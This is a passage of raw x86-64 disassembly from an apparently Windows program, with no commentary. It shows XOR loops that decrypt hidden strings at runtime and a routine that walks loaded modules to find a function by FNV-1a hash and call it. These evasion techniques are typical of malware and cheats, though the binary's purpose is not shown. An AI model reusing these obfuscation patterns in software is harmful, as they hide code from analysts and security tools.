packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x154]
xorps xmm2, xmm1
movd dword [rbp + 0x154], xmm2
mov r8d, 8
movsxd rax, r8d
lea r9, [rbp + 0x150]
add r9, rax
nop dword [rax]
mov eax, 0x94f2095
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, 1
sub al, dl
movsx eax, al
imul ecx, eax, 0x37
add cl, r8b
xor byte [r9], cl
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xd
jl 0x140091900
movdqa xmmword [rsp + 0x60], xmm6
movdqa xmmword [rsp + 0x50], xmm7
lea rax, [rsp + 0x60]
mov qword [rsp + 0x38], rax
lea rax, [rsp + 0x50]
mov qword [rsp + 0x30], rax
lea rax, [0x140196758]
mov qword [rsp + 0x28], rax
lea rax, [0x140196750]
mov qword [rsp + 0x20], rax
lea r9, [0x140196748]
xor r8d, r8d
lea rdx, [rbp + 0x3c8]
lea rcx, [rbp + 0x150]
call fcn.14003fdd0
test al, al
je 0x140091c4f
movups xmm0, xmmword [0x1401616d0]
movups xmmword [rbp + 0xca0], xmm0
movups xmm1, xmmword [0x1401616e0]
movups xmmword [rbp + 0xcb0], xmm1
movups xmm0, xmmword [0x1401616f0]
movups xmmword [rbp + 0xcc0], xmm0
movups xmm1, xmmword [str._9_G]
movups xmmword [rbp + 0xcd0], xmm1
movups xmm0, xmmword [0x140161710]
movups xmmword [rbp + 0xce0], xmm0
movsd xmm0, qword [0x140161720]
movsd qword [rbp + 0xcf0], xmm0
movzx eax, word [0x140161728]
mov word [rbp + 0xcf8], ax
movzx eax, byte [0x14016172a]
mov byte [rbp + 0xcfa], al
mov r8d, r12d
cmp esi, 2
jl 0x140091b45
movdqa xmm5, xmmword [0x1401222b0]
movdqa xmm4, xmmword [0x1401643b0]
movdqa xmm6, xmmword [0x140164330]
movdqa xmm0, xmmword [0x1401643c0]
movdqa xmmword [rsp + 0x50], xmm0
lea rcx, [rbp + 0xca4]
mov edx, dword [rsp + 0x50]
nop dword [rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1401643a0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1401643a0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x58
jl 0x140091a40
cmp r8d, 0x5b
jge 0x140091b91
movsxd rax, r8d
lea r9, [rbp + 0xca0]
add r9, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0x94f2095
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, 1
sub al, dl
movsx eax, al
imul ecx, eax, 0x37
add cl, r8b
xor byte [r9], cl
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x5b
jl 0x140091b60
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x140091c2a
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x140091c2a
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [r10 + r9*4]
mov edx, dword [rcx + rbx]
add rdx, r10
mov r8d, 0x811c9dc5
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x140091c25
nop dword [rax]
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x140091c00
cmp r8d, 0x491e0a9c
je 0x140091c2f
test r9d, r9d
jne 0x140091be0
mov rax, qword [rax]
jmp 0x140091bb0
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov edx, dword [rcx + rax*4]
add rdx, r10
lea rcx, [rbp + 0xca0]
call rdx
mov dword [rbp + 0xd0], 0x42700000
mov dword [rbp + 0xd4], 0x43848000
lea rcx, [rbp + 0xd0]
call fcn.140025c50
mov rcx, r14
call fcn.140025a50
mov eax, dword [0x140161738]
mov dword [rbp + 0xa0], eax
movzx eax, byte [0x14016173c]
movsd xmm0, qword [str.VJNIIJV__1C]
mov byte [rbp + 0xa4], al
movsd qword [rbp + 0x98], xmm0
mov r8d, r12d
cmp esi, 2
jl 0x140091db4
movdqa xmm4, xmmword [0x1401643b0]
movdqa xmm2, xmmword [0x1401222b0]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140164330]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1401643a0]
packuswb xmm2, xmm2
mov eax, dword [0x1401643c0]
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [str.VJNIIJV__1C]
xorps xmm2, xmm0
movd dword [rbp + 0x98], xmm2
movdqa xmm3, xmmword [0x140164320]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140164330]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1401643a0]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x9c]
xorps xmm2, xmm1
movd dword [rbp + 0x9c], xmm2
mov r8d, 8
movsxd rax, r8d
lea r9, [rbp + 0x98]
add r9, rax
mov eax, 0x94f2095
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, 1
sub al, dl
movsx eax, al
imul ecx, eax, 0x37
add cl, r8b
xor byte [r9], cl
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xd
jl 0x140091dc1
lea rcx, [rbp + 0x98]
call fcn.14004f2f0
mov dword [rbp + 0x3d0], 0x432f0000
mov dword [rbp + 0x3d4], 0x43820000
lea rcx, [rbp + 0x3d0]
call fcn.140025c50
movaps xmm6, xmmword [0x140164470]
movaps xmm7, xmmword [0x140164460]
mov dword [rbp + 0x3d8], 0x43020000
mov dword [rbp + 0x3dc], 0x41f00000
movsd xmm0, qword [0x140161740]
movsd qword [rbp + 0x210], xmm0
mov eax, dword [0x140161748]
mov dword [rbp + 0x218], eax
movzx eax, word [0x14016174c]
mov word [rbp + 0x21c], ax
cmp byte [0x14016174d], 0
je 0x140091fd1
mov r8d, r12d
cmp esi, 2
jl 0x140091f8b
movdqa xmm4, xmmword [0x1401643b0]
movdqa xmm2, xmmword [0x1401222b0]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140164330]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1401643a0]
packuswb xmm2, xmm2
mov eax, dword [0x1401643c0]
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [0x140161740]
xorps xmm2, xmm0
movd dword [rbp + 0x210], xmm2
movdqa xmm3, xmmword [0x140164320]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140164330]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1401643a0]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x214]
xorps xmm2, xmm1
movd dword [rbp + 0x214], xmm2
mov r8d, 8
movsxd rax, r8d
lea r9, [rbp + 0x210]
add r9, rax
nop dword [rax + rax]
mov eax, 0x94f2095
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, 1
sub al, dl
movsx eax, al
imul ecx, eax, 0x37
add cl, r8b
xor byte [r9], cl
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xe
jl 0x140091fa0
movdqa xmmword [rsp + 0x60], xmm6
movdqa xmmword [rsp + 0x50], xmm7
lea rax, [rsp + 0x60]
mov qword [rsp + 0x38], rax
lea rax, [rsp + 0x50]
mov qword [rsp + 0x30], rax
lea rax, [0x140196770]
mov qword [rsp + 0x28], rax
lea rax, [0x140196768]
mov qword [rsp + 0x20], rax
lea r9, [0x140196760]
xor r8d, r8d
lea rdx, [rbp + 0x3d8]
lea rcx, [rbp + 0x210]
call fcn.14003fdd0
test al, al
je 0x1400922e2
movups xmm0, xmmword [str.DLXHO]
movups xmmword [rbp + 0xa00], xmm0
movups xmm1, xmmword [0x140161760]
movups xmmword [rbp + 0xa10], xmm1
movups xmm0, xmmword [0x140161770]
movups xmmword [rbp + 0xa20], xmm0
mov eax, dword [0x140161780]
mov dword [rbp + 0xa30], eax
movzx eax, word [0x140161784]
mov word [rbp + 0xa34], ax
movzx eax, byte [0x140161786]
mov byte [rbp + 0xa36], al
mov r8d, r12d
cmp esi, 2
jl 0x1400921c5
movdqa xmm5, xmmword [0x1401222b0]
movdqa xmm4, xmmword [0x1401643b0]
movdqa xmm6, xmmword [0x140164330]
movdqa xmm0, xmmword [0x1401643c0]
movdqa xmmword [rsp + 0x50], xmm0
lea rcx, [rbp + 0xa04]
mov edx, dword [rsp + 0x50]
nop dword [rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1401643a0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1401643a0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x30
jl 0x1400920c0
cmp r8d, 0x37
jge 0x140092211
movsxd rax, r8d
lea r9, [rbp + 0xa00]
add r9, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0x94f2095
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, 1
sub al, dl
movsx eax, al
imul ecx, eax, 0x37
add cl, r8b
xor byte [r9], cl
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x37
jl 0x1400921e0
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x1400922ba
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x1400922ba
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [rbx + r9*4]
mov edx, dword [rcx + r10]
add rdx, r10
mov r8d, 0x811c9dc5
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x1400922b5
nop dword [rax]
nop word [rax + rax]
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x140092290
cmp r8d, 0x491e0a9c
je 0x1400922c2
test r9d, r9d
jne 0x140092260
mov rax, qword [rax]
jmp 0x140092230
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov edx, dword [rcx + rax*4]
add rdx, r10
lea rcx, [rbp + 0xa00]
call rdx
mov rcx, r15
call fcn.140025a50
mov dword [rbp + 0xd8], 0x42700000
mov dword [rbp + 0xdc], 0x43910000
lea rcx, [rbp + 0xd8]
call fcn.140025c50
mov eax, dword [0x1401617b8]
movups xmm0, xmmword [0x140161788]
mov dword [rbp + 0x7d8], eax
movups xmmword [rbp + 0x7a8], xmm0
movzx eax, byte [0x1401617bc]
movups xmm0, xmmword [0x1401617a8]
movups xmm1, xmmword [0x140161798]
mov byte [rbp + 0x7dc], al
movups xmmword [rbp + 0x7c8], xmm0
movups xmmword [rbp + 0x7b8], xmm1
mov r8d, r12d
cmp esi, 2
jl 0x140092495
movdqa xmm5, xmmword [0x1401222b0]
movdqa xmm4, xmmword [0x1401643b0]
movdqa xmm6, xmmword [0x140164330]
movdqa xmm0, xmmword [0x1401643c0]
movdqa xmmword [rsp + 0x50], xmm0
lea rcx, [rbp + 0x7ac]
mov edx, dword [rsp + 0x50]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1401643a0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1401643a0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x30
jl 0x140092390
cmp r8d, 0x35
jge 0x1400924e1
movsxd rax, r8d
lea r9, [rbp + 0x7a8]
add r9, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0x94f2095
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, 1
sub al, dl
movsx eax, al
imul ecx, eax, 0x37
add cl, r8b
xor byte [r9], cl
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x35
jl 0x1400924b0
lea rcx, [rbp + 0x7a8]
call fcn.14004f2f0
mov rcx, qword [rbp + 0x78]
call fcn.140025a50
mov dword [rbp + 0x4e0], 0x42700000
mov dword [rbp + 0x4e4], 0x43340000
lea rcx, [rbp + 0x4e0]
call fcn.140025c50
mov rcx, r15
call fcn.140025a50
mov dword [rbp + 0x3e0], 0x440c0000
mov dword [rbp + 0x3e4], 0x40a00000
lea rcx, [rbp + 0x3e0]
call fcn.140025c50
movaps xmm0, xmmword [0x140164430]
movaps xmm1, xmmword [0x140164400]
mov dword [rbp + 0x3e8], 0x41a00000
mov dword [rbp + 0x3ec], 0x41f00000
movzx eax, word [0x1401617c0]
mov word [rbp - 0x7c], ax
cmp byte [0x1401617c1], 0
je 0x140092580
mov byte [rbp - 0x7c], 0x78
xor byte [rbp - 0x7b], 0x38
movdqa xmmword [rsp + 0x60], xmm0
movdqa xmmword [rsp + 0x50], xmm1
lea rax, [rsp + 0x60]
mov qword [rsp + 0x38], rax
lea rax, [rsp + 0x50]
mov qword [rsp + 0x30], rax
lea rax, [0x1401967a0]
mov qword [rsp + 0x28], rax
lea rax, [0x140196798]
mov qword [rsp + 0x20], rax
lea r9, [0x140196790]
xor r8d, r8d
lea rdx, [rbp + 0x3e8]
lea rcx, [rbp - 0x7c]
call fcn.14003fdd0
test al, al
je 0x1400925e1
mov byte [reloc.WS2_32.dll_accept], 0
call fcn.140015b10
nop
lea rcx, [rbp + 0x1198]
call fcn.140064ee0
jmp 0x140092603
mov r15, qword [rbp + 0x70]
mov r14, qword [rbp + 0x3f0]
cmp byte [0x1401976fb], 0
je 0x1400950f0
mov qword [rbp + 0x3f8], 0x43160000
lea rcx, [rbp + 0x3f8]
call fcn.140025c50
mov rcx, r15
call fcn.140025a50
call fcn.140019700
mov rbx, rax
mov qword [rax + 0xf4], r12
mov dword [rax + 0xfc], r12d
mov dword [rax + 0x100], 0x3f000000
mov dword [rbp + 0x400], 0x44138000
mov dword [rbp + 0x404], 0x43e60000
movsd xmm0, qword [0x1401617c8]
movsd qword [rbp - 0x68], xmm0
movzx ecx, word [0x1401617d0]
mov word [rbp - 0x60], cx
cmp byte [0x1401617d1], 0
je 0x1400926b0
mov byte [rbp - 0x68], reloc.WLDAP32.dll_Ordinal_35
xor byte [rbp - 0x67], 0x38
xor byte [rbp - 0x66], 0x39
xor byte [rbp - 0x65], 0x3a
xor byte [rbp - 0x64], 0x3b
xor byte [rbp - 0x63], 0x3c
xor byte [rbp - 0x62], 0x3d
xor byte [rbp - 0x61], 0x3e
xor byte [rbp - 0x60], 0x3f
xor byte [rbp - 0x5f], 0x40
xor r9d, r9d
mov r8b, 1
lea rdx, [rbp + 0x400]
lea rcx, [rbp - 0x68]
call fcn.140007ef0
mov rcx, r14
call fcn.140025a50
mov dword [rbp + 0x408], 0x42480000
mov dword [rbp + 0x40c], 0x42480000
lea rcx, [rbp + 0x408]
call fcn.140025c50
mov dword [rbx + 0xd4], r12d
mov qword [rbx + 0xd8], 0x3f800000
mov dword [rbx + 0xe0], 0x3f800000
mov eax, dword [str.pJ_U_]
mov dword [rbp - 8], eax
movzx eax, word [0x1401617d8]
mov word [rbp - 4], ax
mov byte [rbp - 8], 0x47
xor byte [rbp - 7], 0x38
xor byte [rbp - 6], 0x39
xor byte [rbp - 5], 0x3a
xor al, 0x3b
mov byte [rbp - 4], al
xor byte [rbp - 3], 0x3c
lea rcx, [rbp - 8]
call fcn.14004f2f0
movaps xmm1, xmm9
movaps xmm0, xmm12
call fcn.140025310
mov dword [rbx + 0xd4], 0x3f800000
mov dword [rbx + 0xd8], 0x3f800000
mov dword [rbx + 0xdc], 0x3f800000
mov dword [rbx + 0xe0], 0x3f800000
movups xmm0, xmmword [0x1401617e0]
movups xmmword [rbp + 0x820], xmm0
movsd xmm0, qword [0x1401617f0]
movsd qword [rbp + 0x830], xmm0
cmp byte [0x1401617f7], 0
je 0x140092921
cmp esi, 2
jl 0x1400928e2
movdqa xmm5, xmmword [0x1401222b0]
mov edx, r12d
movdqa xmm4, xmmword [0x1401643b0]
movdqa xmm6, xmmword [0x140164330]
movdqa xmm0, xmmword [0x1401643c0]
movdqa xmmword [rsp + 0x50], xmm0
lea rcx, [rbp + 0x824]
mov r8d, dword [rsp + 0x50]
nop
movd xmm2, edx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1401643a0]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [rdx + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1401643a0]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add edx, 8
lea rcx, [rcx + 8]
cmp edx, 0x18
jl 0x1400927e0
jmp 0x140092921
lea r9, [rbp + 0x820]
mov r8d, r12d
nop dword [rax]
mov eax, 0x94f2095
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, 1
sub al, dl
movsx eax, al
imul ecx, eax, 0x37
add cl, r8b
xor byte [r9], cl
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x18
jl 0x1400928f0
lea rcx, [rbp + 0x820]
call fcn.14004f2f0
mov dword [rbp + 0x410], 0x42480000
mov dword [rbp + 0x414], 0x42a00000
lea rcx, [rbp + 0x410]
call fcn.140025c50
mov qword [rbx + 0xd4], 0x3f800000
mov dword [rbx + 0xdc], r12d
mov dword [rbx + 0xe0], 0x3f800000
mov eax, dword [0x1401617f8]
mov dword [rbp + 0x88], eax
cmp byte [0x1401617fb], 0
je 0x140092a51
cmp esi, 2
jl 0x140092a0e
movdqa xmm3, xmmword [0x1401222b0]
movdqa xmm2, xmm3
punpckldq xmm2, xmm3
pmuldq xmm2, xmmword [0x1401643b0]
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmmword [0x1401643b0]
shufps xmm2, xmm0, 0xdd
psrad xmm2, 1
movdqa xmm0, xmm2
psrld xmm0, 0x1f
paddd xmm0, xmm2
pmulld xmm0, xmmword [0x140164330]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1401643a0]
packuswb xmm2, xmm2
paddb xmm2, xmmword [0x1401643c0]
movd xmm0, eax
xorps xmm2, xmm0
movd dword [rbp + 0x88], xmm2
jmp 0x140092a51
lea r9, [rbp + 0x88]
mov r8d, r12d
nop dword [rax + rax]
mov eax, 0x94f2095
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, 1
sub al, dl
movsx eax, al
imul ecx, eax, 0x37
add cl, r8b
xor byte [r9], cl
inc r8d
lea r9, [r9 + 1]
cmp r8d, 4
jl 0x140092a20
lea rcx, [rbp + 0x88]
call fcn.14004f2f0
movaps xmm1, xmm9
movaps xmm0, xmm12
call fcn.140025310
mov dword [rbx + 0xd4], 0x3f800000
mov dword [rbx + 0xd8], 0x3f800000
mov dword [rbx + 0xdc], 0x3f800000
mov dword [rbx + 0xe0], 0x3f800000
movups xmm0, xmmword [0x140161800]
movups xmmword [rbp + 0x800], xmm0
movsd xmm0, qword [0x140161810]
movsd qword [rbp + 0x810], xmm0
mov eax, dword [0x140161818]
mov dword [rbp + 0x818], eax
cmp byte [0x14016181b], 0
je 0x140092c61
mov r8d, r12d
cmp esi, 2
jl 0x140092c19
movdqa xmm5, xmmword [0x1401222b0]
movdqa xmm4, xmmword [0x1401643b0]
movdqa xmm6, xmmword [0x140164330]
movdqa xmm0, xmmword [0x1401643c0]
movdqa xmmword [rsp + 0x50], xmm0
lea rcx, [rbp + 0x804]
mov edx, dword [rsp + 0x50]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1401643a0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1401643a0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x18
jl 0x140092b10
cmp r8d, 0x1c
jge 0x140092c61
movsxd rax, r8d
lea r9, [rbp + 0x800]
add r9, rax
nop word [rax + rax]
mov eax, 0x94f2095
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, 1
sub al, dl
movsx eax, al
imul ecx, eax, 0x37
add cl, r8b
xor byte [r9], cl
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x1c
jl 0x140092c30
lea rcx, [rbp + 0x800]
call fcn.14004f2f0
lea rdi, [0x140196268]
lea rsi, [0x1401961e8]
lea r12, [0x140196208]
lea r15, [0x140196288]
lea r13, [0x140196228]
lea r14, [0x1401962a8]
